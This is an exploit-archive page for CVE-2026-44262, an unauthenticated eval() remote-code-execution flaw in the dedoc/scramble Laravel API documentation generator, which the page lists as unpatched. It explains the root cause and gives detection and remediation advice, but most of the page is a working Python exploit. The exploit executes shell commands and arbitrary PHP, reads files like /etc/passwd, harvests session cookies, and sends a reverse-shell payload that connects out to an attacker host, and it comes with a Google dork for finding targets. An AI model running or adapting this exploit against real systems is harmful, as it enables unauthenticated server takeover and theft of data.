PoC Archive PoC Archive
Critical CVE-2026-44262 / [GHSA-4rm2-28vj-fj39](https://github.com/advisories/GHSA-4rm2-28vj-fj39) unpatched

dedoc/scramble Laravel API-Doc Generator Unauthenticated eval() RCE (CVE-2026-44262)

by Joshua van der Poll · 2026-07-05

Severity
Critical
CVE
CVE-2026-44262 / [GHSA-4rm2-28vj-fj39](https://github.com/advisories/GHSA-4rm2-28vj-fj39)
Category
web
Affected product
[dedoc/scramble](https://github.com/dedoc/scramble) — Laravel API documentation generator
Affected versions
>= 0.13.2, < 0.13.22
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherJoshua van der Poll
CVE / AdvisoryCVE-2026-44262 / GHSA-4rm2-28vj-fj39
Categoryweb
SeverityCritical
CVSS ScoreN/A (see advisory)
StatusPoC
Tagslaravel, php, dedoc-scramble, eval-injection, rce, unauthenticated, api-documentation, openapi
RelatedN/A

Affected Target

FieldValue
Software / Systemdedoc/scramble — Laravel API documentation generator
Versions Affected>= 0.13.2, < 0.13.22
Language / PlatformPHP / Laravel web application
Authentication RequiredNo
Network Access RequiredYes — HTTP access to the app’s Scramble-generated docs endpoint (e.g. /docs/api.json)

Summary

dedoc/scramble generates OpenAPI documentation for Laravel APIs by statically analyzing controller code, including validation rules. Its NodeRulesEvaluator::doEvaluateExpression() routine calls PHP’s extract($variables) immediately before eval("return $code;") to resolve dynamic validation-rule expressions. If a controller assigns $request->input() (attacker-controlled request data) to a variable named $code and later uses that variable as a validation rule, Scramble’s static analysis extracts the tracked variables — including the attacker-controlled $code — directly into the eval() scope. By requesting the documentation endpoint with a crafted query parameter, an unauthenticated attacker can make Scramble’s own analysis pass execute arbitrary PHP.


Vulnerability Details

Root Cause

NodeRulesEvaluator::doEvaluateExpression() builds a $variables array from values it has statically traced through the target controller, then does:

1
2
extract($variables);
eval("return $code;");

If any traced variable happens to be named $code (a common name a developer might choose for a request-derived value used as a validation rule), extract() overwrites the $code local used by eval() itself with the attacker-supplied value, turning the “evaluate this validation expression” logic into “execute this attacker string as PHP”.

Attack Vector

  1. Attacker finds a Laravel application exposing Scramble-generated API docs (commonly at /docs/api.json or similar, often left publicly reachable even in production).
  2. Attacker (or the included tool’s auto-detection) inspects the generated OpenAPI spec to identify a controller/route where a $request->input() value flows into a variable later used as a validation rule and is traceable by Scramble as $code.
  3. Attacker requests the docs-generation endpoint with a crafted query parameter that becomes the $code value.
  4. When Scramble’s static analyzer evaluates that controller’s validation rules to build documentation, it calls eval() with the attacker’s string, executing arbitrary PHP in the context of the web server process — enabling command execution, file read, or a reverse shell.

Impact

Unauthenticated remote code execution on any Laravel application that ships a vulnerable dedoc/scramble version and exposes its generated documentation endpoint. Full server compromise is possible (arbitrary command execution, file read/write, reverse shell) with no authentication and no user interaction.


Environment / Lab Setup

A self-contained Docker lab (docker/) ships the vulnerable app (dedoc/scramble v0.13.21
on Laravel) for safe local reproduction:

  cd docker/
  docker compose up -d
  python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

See docker/DOCKER.md for full lab details.

Proof of Concept

PoC Script

See CVE-2026-44262.py, CVE-2026-44262.yaml (Nuclei template), http-scramble-rce-detect.nse (Nmap NSE script), and docker/ (self-contained vulnerable lab) in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

python3 CVE-2026-44262.py --targets targets.txt

nmap -p 80,443 --script http-scramble-rce-detect example.com
nuclei -t CVE-2026-44262.yaml -u http://example.com

Running the script against a vulnerable target demonstrates command execution, arbitrary file read, arbitrary PHP execution, and an interactive reverse shell, all achieved via a single unauthenticated HTTP request to the documentation endpoint.


Detection & Indicators of Compromise

- Unexpected requests to the app's Scramble docs endpoint (e.g. /docs/api.json,
  /docs/api) with unusual or long query parameters resembling PHP code.
- Web server / PHP-FPM error logs showing eval() failures or unexpected child
  processes (sh, bash, cmd.exe, nc, php reverse-shell patterns) spawned from the
  PHP-FPM/Apache/Nginx worker process.
- Outbound connections initiated by the web server process to unfamiliar hosts/ports
  (reverse shell callback).

Signs of compromise:

  • New/unexpected files created or read (e.g. /etc/passwd access) shortly after a request to the docs endpoint.
  • Shell/process spawned by the PHP-FPM or web server user shortly after an HTTP request with anomalous query strings.
  • Nuclei/Nmap-detectable timing anomalies (sleep()-based delays) on the docs endpoint indicating the eval sink is present, even absent full exploitation.

Remediation

ActionDetail
Primary fixUpgrade dedoc/scramble to 0.13.22 or later, which removes/hardens the extract()-before-eval() pattern in NodeRulesEvaluator::doEvaluateExpression().
Interim mitigationRestrict or disable public access to Scramble-generated documentation endpoints (e.g. require authentication, IP allowlist, or disable doc generation in production) until patched.

References


Notes

Mirrored from https://github.com/joshuavanderpoll/CVE-2026-44262 on 2026-07-05.

CVE-2026-44262.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
#!/usr/bin/env python3
# Exploit Title: dedoc/scramble - Unauthenticated Remote Code Execution (CVE-2026-44262)
# Google Dork: inurl:/docs/api.json "dedoc/scramble"
# Date: 2026-05-07
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Vendor Homepage: https://scramble.dedoc.co
# Software Link: https://github.com/dedoc/scramble
# Version: >=0.13.2, <0.13.22
# Tested on: Linux 6.10.14-linuxkit (aarch64), macOS, Windows
# CVE: CVE-2026-44262
# Reference: https://github.com/joshuavanderpoll/CVE-2026-44262
# Advisory:  https://github.com/advisories/GHSA-4rm2-28vj-fj39
#
# Technique: extract() + eval() in NodeRulesEvaluator::doEvaluateExpression()
#            lets attacker overwrite Scramble's internal $code variable with
#            arbitrary PHP via a query parameter on /docs/api.json.

import argparse
import json
import re
import readline
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

DOCS_PATH = "/docs/api.json"
SLEEP_SECONDS = 4


def parse_docs_url(raw: str) -> tuple[str, str]:
    if not raw.startswith(("http://", "https://")):
        raw = "http://" + raw

    raw = raw.split("#")[0].rstrip("/")
    parsed = urllib.parse.urlparse(raw)
    base = f"{parsed.scheme}://{parsed.netloc}"
    path = parsed.path if parsed.path and parsed.path != "/" else "/docs/api"
    docs_path = path + ".json"

    return base, docs_path


PROOF_FILE_UNIX = "/tmp/scramble_rce_proof.txt"
PROOF_FILE_WIN  = "C:\\Windows\\Temp\\scramble_rce_proof.txt"

R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
P = "\033[95m"
B = "\033[1m"
X = "\033[0m"

REPO = "https://github.com/joshuavanderpoll/CVE-2026-44262"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-44262; +{REPO})"
DEFAULT_TIMEOUT = 15.0

_ua = DEFAULT_UA
_timeout = DEFAULT_TIMEOUT
_target_os = "unknown"

CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE


def print_banner():
    print(f"{P}{B}")
    print(r"   _____   _____   ___ __ ___  __     _ _  _ _ ___  __ ___ ")
    print(r"  / __\ \ / / __|_|_  )  \_  )/ / ___| | || | |_  )/ /|_  )")
    print(r" | (__ \ V /| _|___/ / () / // _ \___|_  _|_  _/ // _ \/ / ")
    print(r"  \___| \_/ |___| /___\__/___\___/     |_|  |_/___\___/___|")
    print(f"{X}")
    print(f"{P}{B}{REPO}{X}\n")


def fetch(url: str, timeout: float | None = None):
    req = urllib.request.Request(url, headers={"User-Agent": _ua})
    t = timeout if timeout is not None else _timeout

    try:
        with urllib.request.urlopen(req, context=CTX, timeout=t) as r:
            raw = r.headers
            headers = {k.lower(): v for k, v in raw.items()}
            # get_all handles duplicate Set-Cookie headers
            headers["set-cookie-list"] = raw.get_all("Set-Cookie") or []

            return r.status, r.read().decode(errors="replace"), headers
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace"), {}
    except urllib.error.URLError as e:
        return None, str(e.reason), {}


def info(msg):
    print(f"{Y}[*]{X} {msg}")


def ok(msg):
    print(f"{G}[+]{X} {msg}")


def err(msg):
    print(f"{R}[-]{X} {msg}")


def proc(msg):
    print(f"{C}[@]{X} {msg}")


def normalize_target(target: str) -> str:
    if not target.startswith(("http://", "https://")):
        target = "http://" + target

    return target.rstrip("/")


def set_docs_path(docs_url: str) -> str:
    """Parse docs UI URL, set global DOCS_PATH, return base URL."""
    global DOCS_PATH

    base, DOCS_PATH = parse_docs_url(docs_url)

    return base


def print_cookie_findings(cookies: list[str]):
    for raw in cookies:
        name = raw.split("=")[0].strip()
        value_part = raw.split("=", 1)[1].split(";")[0].strip() if "=" in raw else ""

        if name.upper() == "XSRF-TOKEN":
            info(f"CSRF token (XSRF-TOKEN): {G}{value_part}{X}")
        elif "session" in name.lower():
            info(f"Session cookie '{name}': {G}{value_part}{X}")
        else:
            info(f"Cookie '{name}': {value_part}")


def check_accessible(base: str) -> bool:
    url = base + DOCS_PATH

    proc(f"Probing {url}")

    status, body, headers = fetch(url)

    if status is None:
        err(body)

        return False

    if status == 200 and '"paths"' in body:
        ok(f"HTTP {status} — docs accessible")

        if server := headers.get("server"):
            info(f"Server: {G}{server}{X}")

        if powered := headers.get("x-powered-by"):
            info(f"X-Powered-By: {G}{powered}{X}")

        if cookies := headers.get("set-cookie-list"):
            print_cookie_findings(cookies)

        return True

    err(f"HTTP {status} — not accessible or wrong target")

    return False


def analyze_spec(base: str) -> tuple[list[tuple[str, str]], str | None]:
    """
    Single spec fetch — prints all discovered target info.
    Returns (vuln_params, version).
    """
    _, body, _ = fetch(base + DOCS_PATH)

    vuln_hits = []
    version = None

    # Laravel rule keywords that'd never appear as legit query param defaults
    rule_pattern = re.compile(
        r"^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)", re.I
    )

    try:
        data = json.loads(body)
    except json.JSONDecodeError:
        return vuln_hits, version

    info_block = data.get("info", {})
    version = info_block.get("version")

    if title := info_block.get("title"):
        info(f"API title: {G}{title}{X}")

    if version:
        info(f"API version: {G}{version}{X}")

    if servers := data.get("servers"):
        for s in servers:
            info(f"Server URL: {G}{s.get('url', '?')}{X}")

    paths = data.get("paths", {})

    if paths:
        info(f"Endpoints discovered ({len(paths)}):")
        for path, methods in paths.items():
            method_list = ", ".join(m.upper() for m in methods)
            print(f"    {Y}{method_list}{X} {path}")

    for path, methods in paths.items():
        for method_data in methods.values():
            for param in method_data.get("parameters", []):
                if param.get("in") != "query":
                    continue

                schema = param.get("schema", {})
                default = str(schema.get("default", ""))

                if rule_pattern.match(default) or "|" in default:
                    vuln_hits.append((path, param["name"]))

    return vuln_hits, version


def build_attack_url(base: str, param: str, payload: str) -> str:
    return base + DOCS_PATH + "?" + urllib.parse.urlencode({param: payload})


def capture_output(base: str, param: str, payload: str) -> str | None:
    """
    Send a PHP payload and capture output from the response body.
    Output from print/echo appears before the JSON — everything before '{'.
    """
    _, body, _ = fetch(build_attack_url(base, param, payload))

    json_start = body.find("{")

    if json_start == -1:
        return body.strip() or None

    output = body[:json_start].strip()

    return output or None


def probe_timing(base: str, param: str) -> bool:
    proc(f"Timing probe — sleep({SLEEP_SECONDS}) via param '{param}'")

    t0 = time.monotonic()
    fetch(base + DOCS_PATH)
    baseline = time.monotonic() - t0
    info(f"Baseline: {baseline:.2f}s")

    attack_url = build_attack_url(base, param, f"sleep({SLEEP_SECONDS})")
    info(f"Payload URL: {attack_url}")

    t0 = time.monotonic()
    fetch(attack_url, timeout=SLEEP_SECONDS + _timeout)
    elapsed = time.monotonic() - t0
    delay = elapsed - baseline

    info(f"Attack response: {elapsed:.2f}s (delay: {delay:+.2f}s)")

    triggered = delay >= (SLEEP_SECONDS * 0.75)

    if triggered:
        ok(f"VULNERABLE — response delayed ~{SLEEP_SECONDS}s")
    else:
        err("Not triggered (no significant delay)")

    return triggered


def probe_exec(base: str, param: str) -> bool:
    proc(f"Command exec probe via param '{param}'")

    cmd = "whoami" if is_windows() else "id 2>&1"
    output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd)}))")

    if output:
        ok("VULNERABLE — command output captured:")
        print(f"\n  {B}{output}{X}\n")

        return True

    err("No command output in response (not vulnerable via this vector)")

    return False


def detect_os(base: str, param: str):
    global _target_os

    raw = capture_output(base, param, "print(php_uname('s'))")

    if not raw:
        return

    lower = raw.strip().lower()

    if "windows" in lower:
        _target_os = "windows"
    elif "linux" in lower:
        _target_os = "linux"
    elif "darwin" in lower:
        _target_os = "darwin"
    else:
        _target_os = raw.strip()

    info(f"Target OS: {G}{_target_os}{X}")


def is_windows() -> bool:
    return _target_os == "windows"


def proof_file() -> str:
    return PROOF_FILE_WIN if is_windows() else PROOF_FILE_UNIX


def shell_binary() -> str:
    return "cmd.exe" if is_windows() else "/bin/sh"


def print_output_block(output: str):
    print(f"\n{B}{'─' * 65}{X}")
    print(output)
    print(f"{B}{'─' * 65}{X}\n")


def run_command(base: str, param: str, cmd: str):
    proc(f"Executing: {cmd}")

    # 2>&1 merges stderr into stdout so errors show up in output
    cmd_with_stderr = cmd if "2>" in cmd else cmd + " 2>&1"
    output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd_with_stderr)}))")

    if output is not None:
        print_output_block(output)
    else:
        err("No output (command may have failed silently)")


def run_code(base: str, param: str, code: str):
    proc("Executing raw PHP code")

    # closure makes multi-statement code a single eval-able expression
    wrapped = f"(function(){{ {code} }})()"
    output = capture_output(base, param, wrapped)

    if output is not None:
        print_output_block(output)
    else:
        err("No output returned")


def run_read_file(base: str, param: str, path: str):
    proc(f"Reading file: {path}")

    output = capture_output(base, param, f"print(file_get_contents({json.dumps(path)}))")

    if output is not None:
        ok(f"Contents of {path}:")
        print_output_block(output)
    else:
        err("No output — file may not exist or not readable")


def run_reverse_shell(base: str, param: str, lhost: str, lport: int):
    """
    PHP eval-loop reverse shell — no bash or busybox required.
    Connects back to lhost:lport and executes PHP code sent over the socket.
    """
    info(f"Starting listener on your end:")
    print(f"\n    {B}nc -lvnp {lport}{X}\n")

    proc(f"Sending reverse shell payload to {lhost}:{lport}")

    shell = shell_binary()

    # proc_open pipes shell stdin/stdout/stderr directly to the socket
    payload = (
        f"(function(){{"
        f"$s=@fsockopen('{lhost}',{lport},$e,$m,30);"
        f"if(!$s)return;"
        f"$p=proc_open({json.dumps(shell)},array(0=>$s,1=>$s,2=>$s),$pipes);"
        f"if($p)proc_close($p);"
        f"fclose($s);"
        f"}})()"
    )

    # fire and forget — connection hangs until shell is done
    fetch(build_attack_url(base, param, payload), timeout=3600)


def run_check(base: str, skip_os_detect: bool = False):
    """Non-breaking check — timing probe only, no command execution."""
    if not check_accessible(base):
        err("Docs not accessible.")

        return False

    print()
    proc("Analyzing OpenAPI spec...")
    print()

    vuln_params, _ = analyze_spec(base)
    print()

    if not vuln_params:
        err("No vulnerable parameters detected in spec")

        return False

    ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
    for path, pname in vuln_params:
        print(f"    {Y}{path}{X} → param '{B}{pname}{X}'")

    print()

    _, param = vuln_params[0]

    if not skip_os_detect:
        detect_os(base, param)

    print()

    return probe_timing(base, param)


def print_header(base: str):
    print(f"\n{B}{'=' * 65}{X}")
    print(f"{B}  GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE checker{X}")
    print(f"  Target: {C}{base}{X}")
    print(f"{B}{'=' * 65}{X}\n")


def print_summary(base: str, param: str, timing: bool, exec_: bool):
    print(f"{B}{'=' * 65}{X}")
    print(f"{B}  SUMMARY{X}")
    print(f"{B}{'=' * 65}{X}")
    print(f"  Target:       {C}{base}{X}")
    print(f"  Vuln param:   {param}")
    print(f"  Timing probe: {'%sTRIGGERED%s' % (G, X) if timing else 'clean'}")
    print(f"  Exec probe:   {'%sTRIGGERED%s' % (G, X) if exec_ else 'clean'}")

    vulnerable = timing or exec_

    if vulnerable:
        print(f"\n  {R}{B}Verdict: *** VULNERABLE *** (RCE confirmed){X}")
        print(f"\n  {Y}Remediation:{X}")
        print(f"    {B}1. Patch (recommended){X}")
        print("       composer require dedoc/scramble:^0.13.22")
        print(f"    {B}2. Restrict docs access{X}")
        print("       Add RestrictedDocsAccess middleware in config/scramble.php:")
        print("       'middleware' => ['web', RestrictedDocsAccess::class]")
        print(f"    {B}3. Disable docs in production{X}")
        print("       Remove Scramble::routes() from AppServiceProvider or")
        print("       wrap registration in: if (app()->isLocal()) { ... }")
        print(f"    {B}4. Block at web server level{X}")
        print("       Deny access to /docs and /docs/api.json for external IPs")
        print()
        print(f"  {Y}⭐ If this tool helped you, consider starring the repo: {B}{Y}{REPO}{X}")
    else:
        print(f"\n  {G}Verdict: Not exploitable via this vector{X}")

    print(f"{B}{'=' * 65}{X}\n")

    return vulnerable


def main():
    global _ua, _timeout, _target_os, DOCS_PATH

    parser = argparse.ArgumentParser(description="GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE")

    target_group = parser.add_mutually_exclusive_group(required=True)
    target_group.add_argument("--target", help="Docs UI URL (e.g. https://host/docs/api#/) — script derives the .json endpoint automatically")
    target_group.add_argument("--targets", metavar="FILE", help="File with one docs UI URL per line")
    parser.add_argument("--docs-path", metavar="PATH", help="Override the JSON endpoint path (e.g. /api/openapi.json)")

    parser.add_argument("--check", action="store_true", help="Safe non-breaking check only (timing probe, no command execution)")
    parser.add_argument("--command", metavar="CMD", help="Execute a shell command and print output")
    parser.add_argument("--code", metavar="PHP", help="Execute raw PHP code and print output")
    parser.add_argument("--read-file", metavar="PATH", help="Read a file from the target filesystem")
    parser.add_argument("--shell", action="store_true", help="Start a PHP eval reverse shell (requires --lhost and --lport)")
    parser.add_argument("--lhost", metavar="HOST", help="Listener host for reverse shell")
    parser.add_argument("--lport", metavar="PORT", type=int, help="Listener port for reverse shell")
    parser.add_argument("--os", choices=["windows", "linux", "darwin"], metavar="OS",
                        help="Force target OS (windows/linux/darwin) — skips auto-detection. "
                             "Affects shell binary (cmd.exe vs /bin/sh), proof file path, and exec probe command.")
    parser.add_argument("--useragent", default=DEFAULT_UA, help="Custom User-Agent string")
    parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT, metavar="SECONDS", help="Request timeout in seconds (default: 15)")
    args = parser.parse_args()
Showing 500 of 619 lines View full file on GitHub →